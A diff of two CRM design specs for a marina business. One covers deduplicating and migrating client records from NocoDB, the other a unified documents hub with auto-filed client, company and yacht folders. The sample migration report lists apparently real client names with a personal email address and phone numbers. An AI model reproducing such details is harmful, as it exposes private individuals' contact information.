| `Source` | `clients.source` | mapped: portal→website, Form→website, External→manual; null → manual |
|
||||
| `Date Added` | `interests.createdAt` (fallback to NocoDB `Created At` then now) | parse: try `DD-MM-YYYY`, then `YYYY-MM-DD`, then ISO |
|
||||
| `Sales Process Level` | `interests.pipelineStage` | see §8.3 |
|
||||
| `Lead Category` | `interests.leadCategory` | General→general_interest, Friends and Family→general_interest with tag |
|
||||
| `Berth` (FK) | `interests.berthId` | resolve via `Berths` table by `Mooring Number` |
|
||||
| `Berth Size Desired` | `interests.notes` (appended) | preserve |
|
||||
| `Yacht Name`, `Length`, `Width`, `Depth` | `yachts.name`, `lengthM`, `widthM`, `draughtM` | skip if name in {`TBC`, `Na`, ``, null}; ft→m via `\* 0.3048` |
|
||||
| `EOI Status` | `interests.eoiStatus` | Awaiting Further Details→pending; Waiting for Signatures→sent; Signed→signed |
|
||||
| `Deposit 10% Status` | `interests.depositStatus` | Pending→pending; Received→received |
|
||||
| `Contract Status` | `interests.contractStatus` | Pending→pending; 40% Received→partial; Complete→complete |
|
||||
| `EOI Time Sent` | `interests.dateEoiSent` | parse |
|
||||
| `clientSignTime` / `developerSignTime` / `all_signed_notified_at` | `interests.dateEoiSigned` (use latest) | parse |
|
||||
| `Time LOI Sent` | `interests.dateContractSent` | parse |
|
||||
| `Internal Notes` + `Extra Comments` | `clientNotes` (one row, system author) | concatenate with section markers |
|
||||
| `documensoID` | `documents.documensoId` (when present, type='eoi') | preserve |
|
||||
| `Signature Link Client/CC/Developer`, `EmbeddedSignature*` | `documents.signers[]` | one row per non-null signer |
|
||||
| `reminder_enabled`, `last_reminder_sent`, etc. | `interests.reminderEnabled`, `interests.reminderLastFired` | parse, default true |
|
||||
|
||||
### 8.3 Sales-stage mapping (8 → 9)
|
||||
|
||||
| NocoDB | New (PIPELINE_STAGES) |
|
||||
| ------------------------------- | ------------------------------------------------------------------------ |
|
||||
| General Qualified Interest | `open` |
|
||||
| Specific Qualified Interest | `details_sent` |
|
||||
| EOI and NDA Sent | `eoi_sent` |
|
||||
| Signed EOI and NDA | `eoi_signed` |
|
||||
| Made Reservation | `deposit_10pct` |
|
||||
| Contract Negotiation | `contract_sent` |
|
||||
| Contract Negotiations Finalized | `contract_sent` (with audit-note: legacy "negotiations finalized") |
|
||||
| Contract Signed | `contract_signed` (or `completed` when deposit + contract both complete) |
|
||||
|
||||
### 8.4 Other tables
|
||||
|
||||
- **Residential Interests** (35 rows) — same shape as Interests but maps to `residentialClients` + `residentialInterests`. Smaller and cleaner. Same dedup runs within this pool independently.
|
||||
- **Website - Interest Submissions** (64 rows) — these are **inbound capture, not yet a client**. Treat as if each row is a fresh public-form submission today: run dedup against the migrated client pool. Auto-link if `dedup_public_form_auto_link` setting allows.
|
||||
- **Website - Contact Form Submissions** (47 rows) — sparse data (just name + email + interest type). Skip migration; export as CSV for manual triage. Not the source of truth for any deal.
|
||||
- **Website - Berth EOI Details Supplements** (1 row) — single record, preserved as a one-off attached to the matching Interest.
|
||||
- **Newsletter Sending** (69 rows) — out of scope; that's a marketing surface, not CRM.
|
||||
- **Interests Backup, Interests copy** — historical artifacts. Skipped by default. A `--include-backups` flag attaches them as audit-note entries on the corresponding live Interest if the user wants the history.
|
||||
|
||||
---
|
||||
|
||||
## 9. Migration script
|
||||
|
||||
Located at `scripts/migrate-from-nocodb.ts`. Idempotent: safe to re-run. Three main flags:
|
||||
|
||||
```
|
||||
$ pnpm tsx scripts/migrate-from-nocodb.ts --dry-run [--port-slug X]
|
||||
Pulls everything, transforms, runs dedup, writes CSV report to .migration/<timestamp>/. No DB writes.
|
||||
|
||||
$ pnpm tsx scripts/migrate-from-nocodb.ts --apply --report .migration/<timestamp>/
|
||||
Reads the report, performs the writes the dry-run promised. Refuses if the source data has changed since the report was generated (hash mismatch).
|
||||
|
||||
$ pnpm tsx scripts/migrate-from-nocodb.ts --rollback --apply-id <id>
|
||||
Reads the apply log, undoes the writes (only valid within the undo window).
|
||||
```
|
||||
|
||||
Reuses the `client-portal/server/utils/nocodb.ts` adapter for the NocoDB API client (no need to rebuild). Writes to the new system via Drizzle (re-using the existing services like `createClient`, `createInterest`, etc., so all the same validation runs).
|
||||
|
||||
### 9.1 Dry-run report format
|
||||
|
||||
`.migration/<timestamp>/report.csv`:
|
||||
|
||||
```csv
|
||||
op,reason,nocodb_row_id,target_table,target_value,confidence,manual_review_required
|
||||
create_client,new,624,clients.fullName,Deepak Ramchandani,N/A,false
|
||||
create_contact,new,624,clientContacts.email,dannyrams8888@gmail.com,N/A,false
|
||||
create_contact,new,624,clientContacts.phone,+17215868888,N/A,false
|
||||
create_interest,new,624,interests.berthId,a1b2c3...,N/A,false
|
||||
auto_link,score=98 (email+phone),625,clients.id,<existing client UUID from row 624>,high,false
|
||||
flag_for_review,score=72 (same name diff country),188,client.id,<existing client UUID from row 717>,medium,true
|
||||
country_unresolved,fallback to AI (port country),198,clientAddresses.countryIso,AI,low,true
|
||||
phone_unparseable,placeholder all-zeros,641,clientContacts.phone,<skipped>,N/A,true
|
||||
```
|
||||
|
||||
Plus `.migration/<timestamp>/summary.md`:
|
||||
|
||||
```
|
||||
# Migration Dry-Run — 2026-05-03 14:23 UTC
|
||||
|
||||
NocoDB: 252 Interests + 35 Residences + 64 Website Submissions
|
||||
Outcome: 198 clients, 287 interests (incl. residences), 91 yachts, 412 contacts
|
||||
|
||||
Auto-linked (high confidence, no human action needed):
|
||||
- Nicolas Ruiz: rows 681,682,683 → 1 client + 3 interests
|
||||
- John Lynch: rows 716,725 → 1 client + 2 interests
|
||||
- Deepak Ramchandani: rows 624,625 → 1 client + 2 interests
|
||||
- [12 more]
|
||||
|
||||
Flagged for manual review (medium confidence):
|
||||
- Etiennette Clamouze (rows 188,717): same name, different country phone + email
|
||||
- Bruno Joyerot #18 + Bruce Hearn #19: shared household contact
|
||||
- [4 more]
|
||||
|
||||
Country resolution failed for 7 rows. All defaulted to port country (AI). Review:
|
||||
- Row 239: "Sag Harbor Y" → AI (likely US)
|
||||
- [6 more]
|
||||
|
||||
Phone parsing failed for 3 rows. All flagged, no contact created:
|
||||
- Row 178: empty
|
||||
- Row 641: placeholder "+447000000000"
|
||||
- Row 175: empty
|
||||
|
||||
Run `--apply` to commit these changes.
|
||||
```
|
||||
|
||||
### 9.2 Apply phase
|
||||
|
||||
`--apply` reads the report, re-fetches the source rows (via NocoDB MCP / API), recomputes the hash, fails fast if NocoDB changed since dry-run. Then performs the writes within a single PostgreSQL transaction per port (commit at end). On any error mid-transaction, full rollback.
|
||||
|
||||
After successful apply, an `apply_id` is generated and an audit-log row written. The `apply_id` is the handle used for `--rollback`.
|
||||
|
||||
### 9.3 Idempotency
|
||||
|
||||
The script tracks NocoDB row IDs in a `migration_source_links` table:
|
||||
|
||||
```ts
|
||||
export const migrationSourceLinks = pgTable('migration_source_links', {
|
||||
id: text('id').primaryKey()...,
|
||||
sourceSystem: text('source_system').notNull(), // 'nocodb_interests' | 'nocodb_residences' | …
|
||||
sourceId: text('source_id').notNull(), // NocoDB row id as string
|
||||
targetEntityType: text('target_entity_type').notNull(), // client | interest | yacht | …
|
||||
targetEntityId: text('target_entity_id').notNull(),
|
||||
appliedAt: timestamp('applied_at')...,
|
||||
appliedBy: text('applied_by'),
|
||||
}, (table) => [
|
||||
uniqueIndex('idx_msl_source').on(table.sourceSystem, table.sourceId, table.targetEntityType),
|
||||
]);
|
||||
```
|
||||
|
||||
Re-running `--apply` against the same report skips rows already in this table. Useful for partial-failure resumption.
|
||||
|
||||
---
|
||||
|
||||
## 10. Test plan
|
||||
|
||||
### 10.1 Library-level (vitest unit)
|
||||
|
||||
- `tests/unit/dedup/normalize.test.ts` — every dirty-data pattern from §1.3 has a fixture asserting the expected normalized output.
|
||||
- `tests/unit/dedup/find-matches.test.ts` — every duplicate cluster from §1.2 has a fixture asserting score + confidence tier. Hard cases (Pattern F) assert "medium" not "high" — false-positive guard.
|
||||
|
||||
### 10.2 Service-level (vitest integration)
|
||||
|
||||
- `tests/integration/dedup/client-merge.test.ts` — merge service exercised: full reattach, clientMergeLog written, undo within window restores, undo after window returns 410, concurrent merge of same loser fails the second.
|
||||
- `tests/integration/dedup/at-create-suggestion.test.ts` — `findClientMatches` against a seeded pool returns expected matches + reasons.
|
||||
|
||||
### 10.3 Migration script (vitest integration with NocoDB mock)
|
||||
|
||||
- `tests/integration/dedup/migration-dry-run.test.ts` — feed the script a fixture NocoDB dump (the 252 rows, frozen as a JSON snapshot in fixtures), assert the resulting CSV matches a golden file. Catch any future regression in the transform pipeline.
|
||||
- `tests/integration/dedup/migration-apply.test.ts` — apply the dry-run output to a clean test DB, assert all expected rows exist, assert idempotency (re-apply is a no-op).
|
||||
|
||||
### 10.4 E2E (Playwright)
|
||||
|
||||
- `tests/e2e/smoke/30-dedup-create.spec.ts` — type into ClientForm with an email matching seeded client; assert suggestion card appears; click "Use this client"; assert form switches to interest-create mode.
|
||||
- `tests/e2e/smoke/31-admin-duplicates.spec.ts` — admin views review queue, opens a candidate, side-by-side merge UI works, merge succeeds, undo within window works.
|
||||
|
||||
---
|
||||
|
||||
## 11. Rollback plan
|
||||
|
||||
Three layers of safety, ordered by reversibility:
|
||||
|
||||
1. **Per-merge undo** — admin clicks Undo on a wrongly-merged pair, system rolls back from `clientMergeLog` snapshot. 7-day window. No engineering needed.
|
||||
2. **Migration `--rollback` flag** — entire migration apply is reversed via the `apply_id` and `migration_source_links` table. Useful in the first 24h after `--apply`. Engineering-supervised.
|
||||
3. **DB restore from backup** — the existing `docs/ops/backup-runbook.md` covers this. Last resort if both above are blocked.
|
||||
|
||||
Pre-migration, take a hot backup of the new DB (`pg_dump`). Pre-merge in production (before any human-facing surface ships), the `dedup_auto_merge_threshold` defaults to `null` so no automatic merges happen — every merge is human-confirmed.
|
||||
|
||||
---
|
||||
|
||||
## 12. Open items
|
||||
|
||||
- **Soundex vs metaphone** — Soundex is simpler but English-leaning. Metaphone handles non-English surnames better (the dataset has French, German, Italian, Slavic names). Default to metaphone via the `natural` package; revisit if it adds significant install size.
|
||||
- **Cross-port dedup** — not in scope. Each port's clients are deduped within that port. A future "shared address book" feature would need its own design.
|
||||
- **Profile photo / face match** — out of scope.
|
||||
- **AI-assisted match resolution** — out of scope. The Layer-3 review queue is human-only.
|
||||
|
||||
---
|
||||
|
||||
## Implementation sequence
|
||||
|
||||
P1 (this design's library) → P2 (runtime surfaces) → P3 (migration). Each is a separate plan / PR.
|
||||
|
||||
**P1 deliverables**: `src/lib/dedup/{normalize,find-matches}.ts` + tests. No UI changes. No DB changes (except indexed lookups added to existing `clientContacts`). ~1.5 days.
|
||||
|
||||
**P2 deliverables**: at-create suggestion in `ClientForm` + interest-level guard in `createInterest` service + admin settings UI for thresholds + `clientMergeCandidates` table + nightly job + admin review queue page + merge service + side-by-side merge UI. ~5–7 days.
|
||||
|
||||
**P3 deliverables**: `scripts/migrate-from-nocodb.ts` + `migration_source_links` table + dry-run + apply + rollback. CSV report format frozen against fixture. ~3 days, including fixture creation from the live NocoDB snapshot.
|
||||
|
||||
Total: ~10–12 engineering days from approval. Can be split across three PRs landing independently — each is testable in isolation and the runtime surfaces (P2) work even without P3 being run.
|
||||
@@ -1,375 +0,0 @@
|
||||
# Documents Hub Split + Auto-Filed Client Folders
|
||||
|
||||
**Status:** Draft — awaiting final review
|
||||
**Date:** 2026-05-10
|
||||
**Builds on:** Wave 11.B `feat/documents-folders` (per-port nestable `document_folders` tree, soft-rescue delete, sibling-name uniqueness)
|
||||
|
||||
## Overview
|
||||
|
||||
Today the CRM has two parallel document surfaces that confuse reps:
|
||||
|
||||
1. `/[port]/documents` — Documenso signature workflows only (rows in `documents`). Hub tabs are signing-status (`in_progress` / `awaiting_them` / `awaiting_me` / `completed` / `expired`). Carries the new `document_folders` tree (Wave 11.B).
|
||||
2. `/[port]/documents/files` — bare uploaded files only (rows in `files`). Has its **own** "folder" mechanism driven by `storagePath` prefix matching, completely disconnected from `document_folders`.
|
||||
|
||||
The signed PDF that Documenso produces lives in the `files` table (`documents.signed_file_id` points at it), but it has no folder home and no entity-driven grouping — reps can't find a client's signed contracts without going through the signing workflow row first.
|
||||
|
||||
This spec unifies both surfaces under a single hub with a stacked **Signing in progress / Files** layout, anchored by a per-port nestable folder tree that gains three system-managed roots (`Clients/`, `Companies/`, `Yachts/`). Each entity gets one auto-created subfolder on first need; signed PDFs from completed workflows auto-deposit into the owner's folder. The folder view is **owner-aggregated**: opening `Clients/Smith, John/` surfaces files attached to John, plus files of his linked companies and yachts, each rendered as a labelled subsection.
|
||||
|
||||
## Conceptual model
|
||||
|
||||
Three first-class concepts after this spec ships:
|
||||
|
||||
- **File** (`files` row) — a stored binary artifact (PDF/image/etc.) with one `folder_id` and entity FKs (`client_id` / `company_id` / `yacht_id`). The canonical "document" reps file and find. Produced by either direct upload or as the output of a completed signing workflow.
|
||||
- **Signing workflow** (`documents` row) — the _process_ of getting a PDF signed via Documenso. Lifecycle `draft` → `sent` → `partially_signed` → `completed`. Surfaces in the hub's Signing section while in-flight. On completion, produces a signed-PDF file; the workflow row itself becomes audit history accessed via a "view signing details" link on the resulting file. Stops appearing in user-facing folder views.
|
||||
- **Folder** (`document_folders` row) — per-port nestable tree (existing). Extended to hold both files and in-flight workflows. Gains three system-managed roots and per-entity auto-subfolders.
|
||||
|
||||
`documents.folder_id` stays meaningful for in-flight workflows (rep can file by deal/project). Becomes irrelevant on completion — the rendering layer hides completed workflows from folder views entirely.
|
||||
|
||||
`files.folder_id` is **new** (not in current schema) — added by this spec.
|
||||
|
||||
## Scope boundaries
|
||||
|
||||
### In scope
|
||||
|
||||
- New `files.folder_id` column + index, FK to `document_folders.id`
|
||||
- `document_folders` schema additions: `system_managed`, `entity_type`, `entity_id`, `archived_at`
|
||||
- Three system roots (`Clients/`, `Companies/`, `Yachts/`) auto-created on port init
|
||||
- Lazy per-entity subfolder creation on first auto-deposit or first manual upload
|
||||
- Auto-deposit logic in `handleDocumentCompleted` (set `files.folder_id` + entity FKs on signed PDF)
|
||||
- Owner-resolution chain (Owner-wins: `client_id ?? company_id ?? yacht_id` on workflow, falling back to interest)
|
||||
- Owner-aggregation projection in the files & documents listing endpoints
|
||||
- Symmetric relationship walking (Client ↔ Company ↔ Yacht via memberships and ownership)
|
||||
- Hub UI rebuild: stacked Signing/Files sections, owner-grouped headers, system-folder 🔒 markers
|
||||
- "View signing details" dialog on signed-PDF file rows
|
||||
- System-folder protection: rename/move/delete blocked at API + UI
|
||||
- Entity rename auto-syncs system folder name (transactional)
|
||||
- Entity archive applies `(archived)` suffix; entity hard-delete demotes to user folder with `(deleted)` suffix
|
||||
- Search box scope: current folder + descendants, results across both Signing and Files
|
||||
- Hub root view (no folder selected): port-wide Signing + recent Files
|
||||
- One-time backfill script: ensure system folders exist, set `files.folder_id` from entity FKs, copy entity FKs from completed workflows onto signed files
|
||||
- Removal of `/[port]/documents/files` route (301 redirect to `/[port]/documents`)
|
||||
- Removal of the legacy `storagePath`-prefix folder rendering
|
||||
|
||||
### Explicitly out of scope
|
||||
|
||||
- Permission/role changes beyond what `documents.view` and `documents.manage_folders` already gate
|
||||
- Bulk file actions (multi-select move, multi-select download zip) — separate work
|
||||
- Tagging or labels on files — separate work
|
||||
- Trash / restore for hard-deleted files (current behavior preserved)
|
||||
- Search across file _content_ (full-text PDF search) — current behavior preserved (search is title/filename only)
|
||||
- Per-port admin override for aggregation symmetry (rejected as needless setting at E11)
|
||||
- Per-user feature flag rollout — hard cutover (E rollout decision)
|
||||
- Native PDF preview rebuild — existing `FilePreviewDialog` reused
|
||||
|
||||
## Folder tree structure & governance
|
||||
|
||||
### System-managed roots and subfolders
|
||||
|
||||
Three reserved root folders are auto-created when a port is initialised:
|
||||
|
||||
```
|
||||
Clients/
|
||||
Companies/
|
||||
Yachts/
|
||||
```
|
||||
|
||||
Per-entity subfolders are created **lazily on first need** — when a workflow completes for that entity, when a rep manually uploads a file scoped to that entity, or when a rep clicks "Open folder" on the entity's detail page. Empty entities don't appear in the tree.
|
||||
|
||||
Subfolder naming:
|
||||
|
||||
- Default name = entity display name (client `firstName lastName` / company `name` / yacht `name`).
|
||||
- Numeric collision suffix: `Smith, John (2)`, `Smith, John (3)`, etc. Suffix appended to the _new_ (later-created) folder; existing folder names never change due to collision.
|
||||
- Auto-rename on entity rename — runs in the same DB transaction as the entity update.
|
||||
- Entity archive: `(archived)` suffix appended, folder shown muted in tree, auto-deposit blocked until restored.
|
||||
- Entity hard-delete: `(deleted)` suffix appended, `system_managed` flipped to `false` (folder demoted to a regular user folder; rep can rename/move/delete normally).
|
||||
|
||||
### System-folder protection
|
||||
|
||||
When `system_managed = true`:
|
||||
|
||||
- Rename API rejects with `ConflictError("System folders can't be renamed")`.
|
||||
- Move API rejects with `ConflictError("System folders can't be moved")`.
|
||||
- Delete API rejects with `ConflictError("System folders can't be deleted")`.
|
||||
- UI hides rename/move/delete actions in `FolderActionsMenu` for these rows.
|
||||
- UI displays a 🔒 marker next to the folder name.
|
||||
|
||||
The three roots themselves (`Clients/` / `Companies/` / `Yachts/`) are also `system_managed = true` and protected identically.
|
||||
|
||||
### User folders
|
||||
|
||||
User-created folders sit alongside the three system roots and inside any other folder (subject to existing depth/cycle rules from Wave 11.B). Standard CRUD via `documents.manage_folders` permission. Examples reps will create: `Templates/`, `Compliance/`, `Marketing PDFs/`.
|
||||
|
||||
## Routing on workflow completion
|
||||
|
||||
`handleDocumentCompleted` (in `src/app/api/webhooks/documenso/route.ts`) currently:
|
||||
|
||||
1. Verifies the Documenso secret.
|
||||
2. Downloads the fully signed PDF.
|
||||
3. Creates a `files` row for the signed PDF.
|
||||
4. Sets `documents.signed_file_id` to the new file id.
|
||||
5. Updates `documents.status = 'completed'`.
|
||||
|
||||
This spec extends the handler with steps 3a, 3b, 3c — inserted between (3) and (4):
|
||||
|
||||
```
|
||||
3a. resolveOwner(workflow):
|
||||
candidates = [
|
||||
workflow.client_id,
|
||||
workflow.company_id,
|
||||
workflow.yacht_id,
|
||||
workflow.interest?.primary_client_id,
|
||||
workflow.interest?.primary_company_id,
|
||||
workflow.interest?.primary_yacht_id,
|
||||
]
|
||||
return first non-null candidate (with its entity_type) OR null
|
||||
|
||||
3b. if owner != null:
|
||||
folder = ensureEntityFolder(port_id, owner.entity_type, owner.entity_id)
|
||||
// INSERT … ON CONFLICT (port_id, entity_type, entity_id) DO NOTHING RETURNING id
|
||||
// re-SELECT on conflict to get the existing folder's id
|
||||
file.folder_id = folder.id
|
||||
// copy entity FK to file row if not already set (so aggregation reads file FKs as source of truth)
|
||||
file[`${owner.entity_type}_id`] ??= owner.entity_id
|
||||
|
||||
3c. if owner == null:
|
||||
file.folder_id remains null
|
||||
// file lives at root, surfaced in the root-view Files section
|
||||
```
|
||||
|
||||
Owner resolution happens at **completion time**, not creation time — if the rep edited the workflow's owner mid-signing (rare), the signed PDF lands in the most recent owner's folder.
|
||||
|
||||
The workflow's own `folder_id` is not touched. After `status = 'completed'`, the rendering layer hides the workflow from folder views; only the resulting signed file is visible (with a "view signing details" link to the workflow + signers + events timeline).
|
||||
|
||||
## Owner-aggregation projection
|
||||
|
||||
The killer feature. When a rep opens an entity folder (`Clients/Smith, John/`), the listing query is **not** a simple `WHERE folder_id = …` — it's a projection that walks the relationship graph and groups results by owner-source.
|
||||
|
||||
### Aggregation graph
|
||||
|
||||
Aggregation is **symmetric** (E aggregation reach decision). Walking from any entity, surface files attached to:
|
||||
|
||||
- the entity itself (DIRECTLY ATTACHED)
|
||||
- linked clients via `company_memberships`
|
||||
- linked companies via `company_memberships` and via yacht ownership
|
||||
- linked yachts via current ownership (`yachts.current_owner_type` + `current_owner_id`)
|
||||
- - any second-degree links (e.g., `Clients/Smith` shows files of `Smith Marine LLC`'s yachts via the chain Smith → Smith Marine LLC → owned yachts)
|
||||
|
||||
Each result group is rendered with a labelled header: `DIRECTLY ATTACHED · 3`, `FROM COMPANY — SMITH MARINE LLC · 1`, `FROM YACHT — MV SERENITY · 2`, etc. Files lived where they were physically filed (e.g., `Yachts/MV Serenity/`); the aggregation only borrows them for display, with a `lives in <path>` caption per row.
|
||||
|
||||
### Source-of-truth: file FKs
|
||||
|
||||
Aggregation reads each file's own `client_id` / `company_id` / `yacht_id` (snapshotted at upload/creation time), **not** the linked entity's current relationships. This makes yacht ownership transfer a no-op for historical files: a file uploaded for John when he owned MV Serenity stays under John's view forever, even after the yacht is sold to Mary. Mary's view shows files uploaded after the transfer (which carry `client_id = Mary`). Both clients' folders coexist with their respective historical artifacts.
|
||||
|
||||
### Per-group pagination
|
||||
|
||||
Each owner-source group renders its top 20 rows by `created_at desc`. When a group has more, a `Show all (148)` link drills into a flat paginated list scoped to that source. Keeps page render bounded for large portfolios (200+ yacht leasing clients).
|
||||
|
||||
### Defense-in-depth port_id
|
||||
|
||||
Every join in the aggregation SQL filters `port_id = $port` — at the entity table, at the membership table, at the yacht table, at the file table. Project pattern (per CLAUDE.md "defense-in-depth port_id scope" / berth recommender precedent). Single-place port_id check at the entry point alone is rejected — it bit the recommender exactly once and we fixed it the same way.
|
||||
|
||||
## UI layout
|
||||
|
||||
### Layout A: stacked sections, owner-labelled groups inside each
|
||||
|
||||
Confirmed in mockup review.
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────────────┐
|
||||
│ /port-nimara/documents → Clients / Smith, John 🔒 │
|
||||
├──────────────┬──────────────────────────────────────────────────────┤
|
||||
│ FOLDERS │ Clients › Smith, John 🔒 [Upload] [+ Sign] │
|
||||
│ │ │
|
||||
│ 📁 Clients │ ⏳ SIGNING IN PROGRESS · 2 │
|
||||
│ 📁 Smith…🔒│ FROM CLIENT │
|
||||
│ 📁 … │ ▢ EOI · Berth A12 · sent 2d ago Awaiting them │
|
||||
│ 📁 Companies│ FROM YACHT — MV SERENITY │
|
||||
│ 📁 Yachts │ ▢ NDA · sent yesterday Awaiting them │
|
||||
│ │ │
|
||||
│ 📁 Templates│ 📎 FILES │
|
||||
│ 📁 Complian.│ DIRECTLY ATTACHED · 3 │
|
||||
│ │ ▢ Signed EOI · A11.pdf signed Apr 14 · view sig… │
|
||||
│ + New folder│ ▢ Passport scan.pdf uploaded Mar 2 │
|
||||
│ │ │
|
||||
│ │ FROM COMPANY — SMITH MARINE LLC · 1 │
|
||||
│ │ ▢ Articles of inc.pdf · lives in Companies/… │
|
||||
│ │ │
|
||||
│ │ FROM YACHT — MV SERENITY · 2 │
|
||||
│ │ ▢ Signed NDA.pdf · lives in Yachts/… │
|
||||
│ │ ▢ Survey report.pdf · lives in Yachts/… │
|
||||
└──────────────┴──────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
Layout primitives:
|
||||
|
||||
- **Left panel:** existing `FolderTree` extended for 🔒 markers and `system_managed`-aware action suppression (rename/move/delete hidden in `FolderActionsMenu`).
|
||||
- **Main panel:** breadcrumb + actions row, then stacked Signing/Files sections. Each section has its in-section grouped headers.
|
||||
- **Signing section:** hidden entirely when no in-flight workflows match the entity scope. When present, renders above Files.
|
||||
- **Files section:** always present (may be empty with placeholder).
|
||||
- **"View signing details" link:** appears on rows for signed-PDF files (those whose source can be traced via `documents.signed_file_id`). Click opens `<SigningDetailsDialog>` — modal showing signers, events, timeline, signed-at timestamps.
|
||||
|
||||
### Hub root view (no folder selected)
|
||||
|
||||
Default landing when rep clicks Documents in the sidebar:
|
||||
|
||||
- **Signing section:** all in-flight workflows port-wide (effectively today's `/[port]/documents` hub behavior, minus the signing-status sub-tabs which collapse).
|
||||
- **Files section:** recently uploaded/modified files port-wide, paginated by `updated_at desc`.
|
||||
|
||||
The folder tree on the left is the primary navigation; root view is the "I just opened the hub, show me what's recent" landing.
|
||||
|
||||
### Old `/[port]/documents/files` route
|
||||
|
||||
Removed. Server-side 301 redirect to `/[port]/documents`. The `<Files…>` components and the legacy `storagePath`-prefix folder code are deleted.
|
||||
|
||||
### Hub-tab simplification
|
||||
|
||||
Today's signing-status tabs (`in_progress` / `eoi_queue` / `awaiting_them` / `awaiting_me` / `completed` / `expired`) collapse into one Signing section — the rep will filter by signer-status via in-section chips if needed, but the dominant navigation is folders, not signing-status. The `documentsHubTabs` enum + `tab` query param are removed; `hub-counts` API endpoint is reduced to "in-flight count" only (used for the Signing section's counter badge).
|
||||
|
||||
## Edge cases — decisions
|
||||
|
||||
| ID | Edge case | Decision |
|
||||
| -------------------- | ----------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| E1 | Entity renamed | System folder name auto-syncs in the same transaction. |
|
||||
| E2 | Two entities collide on folder name (e.g., both "Smith, John") | Append numeric suffix `(2)`, `(3)` to the **new** colliding folder. Existing folders never change. |
|
||||
| E3 | Entity archived | Folder stays with `(archived)` suffix, muted style. Auto-deposit halts. |
|
||||
| E4 | Entity hard-deleted | Folder gets `(deleted)` suffix, `system_managed` flips to `false` (rep can clean up). Files retain orphaned data. |
|
||||
| E5 | Yacht ownership transferred | Files snapshot their entity FKs at upload time. Old client folder retains historical files; new client gets a new folder for files created after transfer. Both coexist. |
|
||||
| E6 | Workflow's owner FK changes mid-signing | Resolve owner at completion time. Signed PDF lands in current owner's folder. |
|
||||
| E7 | Rep moves a file out of a system folder | Allowed. `folder_id` changes; entity FK is unchanged so aggregation still surfaces it via FK. The "lives in …" caption updates. |
|
||||
| E8 | Rep manually uploads into an entity folder | Auto-set the file's matching entity FK from the destination folder's `entity_type` + `entity_id`. Custom folders → no auto-mapping. |
|
||||
| E9 | Workflow has no entity at all | Signed PDF lands at root with `folder_id = null`. Surfaces in root-view Files section only. |
|
||||
| E10 | File/workflow attached to interest only, interest has no resolved owner | Same as E9 — root, null folder. Manual move or future backfill resolves later. |
|
||||
| E11 | Aggregated view returns 1000+ files | Top 20 per owner-source group, `Show all (N)` drilldown into flat paginated list per source. |
|
||||
| E12 | Hub root view (no folder selected) | Port-wide Signing + recent Files, both paginated. |
|
||||
| E13 | Concurrent completions race for the same entity folder | `INSERT … ON CONFLICT DO NOTHING RETURNING id`, then re-`SELECT` if needed. Uses the new partial unique index `uniq_document_folders_entity`. |
|
||||
| E14 | Cross-port aggregation leak | `port_id = $p` filter at every join in aggregation SQL. Defense-in-depth. |
|
||||
| Lazy folder creation | When are system root + per-entity folders created? | Roots: on port init. Subfolders: lazy on first need (auto-deposit, manual upload, or "Open folder" button on entity page). |
|
||||
| Aggregation reach | Symmetric or owner-down only? | Symmetric — walk relationships in both directions. `Clients/Smith/`, `Companies/Smith Marine LLC/`, `Yachts/MV Serenity/` all show the full graph from their vantage point. |
|
||||
| Search scope | Where does the search box look? | Current folder + descendants. Empty/root selection → port-wide. Includes both Signing and Files results. |
|
||||
| Rollout | Feature flag or hard cutover? | Hard cutover. Migration backfills data; new hub replaces old hub on merge. |
|
||||
|
||||
## Schema deltas
|
||||
|
||||
### `files` table
|
||||
|
||||
```sql
|
||||
ALTER TABLE files
|
||||
ADD COLUMN folder_id text REFERENCES document_folders(id) ON DELETE SET NULL;
|
||||
|
||||
CREATE INDEX idx_files_folder ON files(folder_id);
|
||||
CREATE INDEX idx_files_port_folder ON files(port_id, folder_id);
|
||||
```
|
||||
|
||||
### `document_folders` table
|
||||
|
||||
```sql
|
||||
ALTER TABLE document_folders
|
||||
ADD COLUMN system_managed boolean NOT NULL DEFAULT false,
|
||||
ADD COLUMN entity_type text, -- null | 'root' | 'client' | 'company' | 'yacht'
|
||||
ADD COLUMN entity_id text, -- null when entity_type is null or 'root'
|
||||
ADD COLUMN archived_at timestamptz; -- mirrors entity archive state
|
||||
|
||||
-- Per-port uniqueness on (entity_type, entity_id) for entity subfolders.
|
||||
-- Excludes 'root' folders (handled by name uniqueness already in place).
|
||||
CREATE UNIQUE INDEX uniq_document_folders_entity
|
||||
ON document_folders(port_id, entity_type, entity_id)
|
||||
WHERE entity_id IS NOT NULL;
|
||||
|
||||
-- Enforce: system_managed=true requires either entity_type='root' OR (entity_type IN ('client','company','yacht') AND entity_id IS NOT NULL).
|
||||
ALTER TABLE document_folders
|
||||
ADD CONSTRAINT chk_system_folder_shape CHECK (
|
||||
NOT system_managed OR
|
||||
entity_type = 'root' OR
|
||||
(entity_type IN ('client','company','yacht') AND entity_id IS NOT NULL)
|
||||
);
|
||||
```
|
||||
|
||||
### Backfill migration (one-time data migration script)
|
||||
|
||||
Runs as part of the deploy. Idempotent — safe to re-run.
|
||||
|
||||
1. For every port: ensure `Clients/`, `Companies/`, `Yachts/` exist with `system_managed=true`, `entity_type='root'`.
|
||||
2. For every `(client | company | yacht)` entity that has at least one file or completed workflow attached: ensure its subfolder exists.
|
||||
3. For every file with a non-null `client_id` / `company_id` / `yacht_id`: set `folder_id` to the matching subfolder via owner-resolution (Owner-wins).
|
||||
4. For every completed workflow with `signed_file_id`: ensure the signed file's entity FKs are populated by copying from the workflow row (handles legacy completions where the signed file row was created without entity FKs).
|
||||
5. Files with no entity FKs → `folder_id` left null.
|
||||
|
||||
Script: `pnpm tsx scripts/backfill-document-folders.ts`. Wraps in `pg_advisory_xact_lock(<port_id_hash>)` per port to serialize concurrent runs.
|
||||
|
||||
## Implementation surface (preview, full breakdown in the plan)
|
||||
|
||||
### Service layer
|
||||
|
||||
- `src/lib/services/document-folders.service.ts`
|
||||
- `ensureEntityFolder(portId, entityType, entityId)` — INSERT-ON-CONFLICT + re-SELECT
|
||||
- `ensureSystemRoots(portId)` — idempotent root creation
|
||||
- `syncEntityFolderName(portId, entityType, entityId, newName)` — called from entity update services
|
||||
- `applyEntityArchivedSuffix(portId, entityType, entityId)` / `applyEntityRestoredSuffix(...)` — toggle `(archived)` suffix
|
||||
